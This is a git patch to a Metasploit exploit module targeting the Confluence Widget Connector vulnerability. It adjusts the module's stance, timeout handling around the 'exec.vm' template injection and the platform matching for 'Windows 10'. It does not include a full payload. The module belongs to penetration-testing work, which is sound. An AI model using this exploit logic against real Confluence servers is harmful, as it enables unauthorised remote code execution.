From 8b61c5edf5f28d21f7a909c7d30b02bda9a433c7 Mon Sep 17 00:00:00 2001
From: asoto-r7 <aaron_soto@rapid7.com>
Date: Tue, 16 Apr 2019 13:18:00 -0500
Subject: [PATCH] Fixed target_platform_compat to support 'Windows 10', made
 debugging easier

---
 .../exploits/multi/http/confluence_widget_connector.rb | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb
index 11fd095a6f..8546ffcc7e 100644
--- a/modules/exploits/multi/http/confluence_widget_connector.rb
+++ b/modules/exploits/multi/http/confluence_widget_connector.rb
@@ -54,7 +54,8 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'Privileged'     => false,
       'DisclosureDate' => 'Mar 25 2019',
-      'DefaultTarget'  => 0
+      'DefaultTarget'  => 0,
+      'Stance'         => Msf::Exploit::Stance::Aggressive
     ))
 
     register_options(
@@ -223,7 +224,9 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     unless res
-      fail_with Failure::Unreachable, 'Connection timed out in #inject_template'
+      unless service_url.include?("exec.vm")
+        print_warning('Connection timed out in #inject_template')
+      end
     end
 
     if res.body.include? 'widget-error'
@@ -263,7 +266,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # @return [FalseClass] Not compatible
   def target_platform_compat?(target_platform)
     target.platform.names.each do |n|
-      if n.downcase == 'java' || n.downcase == target_platform.downcase
+      if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
         return true
       end
     end
@@ -453,6 +456,5 @@ class MetasploitModule < Msf::Exploit::Remote
     if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
       return match.captures[0]
     end
-    ''
   end
 end